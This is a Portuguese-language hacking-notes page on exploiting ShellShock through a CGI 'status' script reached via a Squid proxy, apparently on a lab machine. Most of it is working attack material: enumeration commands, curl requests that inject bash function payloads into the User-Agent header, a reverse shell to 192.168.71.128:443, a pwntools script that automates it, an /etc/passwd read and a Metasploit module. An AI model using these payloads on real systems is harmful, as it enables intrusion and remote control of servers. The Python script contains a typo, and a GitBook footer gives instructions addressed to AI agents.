> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/shellshock-attack/shellshock-status-pentesting-web.md).

# ShellShock Status

Com a ferramenta **GoBuster**, pesquisamos caminhos do sistema

```shell
gobuster dir -u http://192.168.71.131/ --proxy http://192.168.71.131:3128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash

```

Neste caso, ele encontra o caminho **/cgi-bin/**, que pode ser vulnerável a um ataque ShellShock:

<figure><img src="/files/5bf01dc4136bd83b1d5d6a088cf95992a1dcd8e9" alt=""><figcaption></figcaption></figure>

Agora, neste mesmo caminho, procuramos arquivos com extensões **sh, pl cgi**, etc.

```shell
gobuster dir -u http://192.168.71.131/cgi-bin/ --proxy http://192.168.71.131:3128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x pl,sh,cgi

```

<figure><img src="/files/a2b9308d3bd2fc43bcf4785f83b0c61c97df478a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bc5d086d735c41a03d77e7c899e126ddfcb77c75" alt=""><figcaption></figcaption></figure>

## ShellShock:

Com curl, se enviarmos uma consulta, vemos que é o **mesmo comando que uptime**:

```shell
curl -s http://127.0.0.1/cgi-bin/status --proxy http://192.168.71.131:3128

```

<figure><img src="/files/81c6d0d324b894fb498ed1405f8e8b14bc746146" alt=""><figcaption></figcaption></figure>

Com curl, use a **ShellShock** vulnerabilidade para executar comandos. Sempre defina o **caminho absoluto**:

```shell
curl -s http://127.0.0.1/cgi-bin/status --proxy http://192.168.71.131:3128 -H "User-Agent: () {:; }; echo; /usr/bin/whoami"

```

<figure><img src="/files/07cc6a3fe3994230f64e3fc136cb7f39efc3fc67" alt=""><figcaption></figcaption></figure>

Para **obter acesso** à máquina, executamos o comando abaixo:

```shell
curl -s http://127.0.0.1/cgi-bin/status --proxy http://192.168.71.131:3128 -H "User-Agent: () {:; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.71.128/443 0>&1'"

```

<figure><img src="/files/b60d243d2accc561638a48dafb26363d5e94d49e" alt=""><figcaption></figcaption></figure>

## Script Python automatizado:

```python
#!/usr/bin/python3
import sys, signal, requests, threading
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
# Status do ShellShock
signal.signal(signal.SIGINT, def_handler)
main_url = "http://127.0.0.1/cgi-bin/status"
squid_proxy = {'http': 'http://192.168.71.131:3128'}
lport = 443
def shellshock_attack():
    headers = {'User-Agent': "() {:; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.71.128/443 0>&1'"}
    r = requests.get(main_url, headers=headers, proxies=squid_proxy)
if __name__ == '__main__':
    try:
        threading.Thread(target=shellshock_attack).start()
    except Exceptiwe as e:
        log.error(str(e))
    shell = listen(lport, timeout=20).wait_for_login()
    if shell.sock is None:
        log.failure("Falha ao estabelecer login")
        sys.exit(1)
    else:
        shell.interactive()

```

<figure><img src="/files/71e6a6bfe0e28ae6e31e9510d5e5640e2d85cb37" alt=""><figcaption></figcaption></figure>

## Exploração com Burp Suite

No Burp Suite, podemos injetar o payload ShellShock no cabeçalho **User-Agent** para tentar executar comandos no servidor alvo:

```bash
User-Agent: () {:; }; echo; echo; /bin/bash -c 'cat /etc/passwd'

```

Se a vulnerabilidade estiver presente, o servidor envia o conteúdo do arquivo `/etc/passwd`, desde que a execução de comandos seja possível.

## Exploração com o Metasploit

O Metasploit oferece um exploit dedicado para essa vulnerabilidade: carregue o módulo ShellShock:

```bash
use exploit/multi/http/apache_mod_cgi_bash_env_exec

```

Se o exploit for bem-sucedido, um shell é obtido na máquina-alvo.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/shellshock-attack/shellshock-status-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
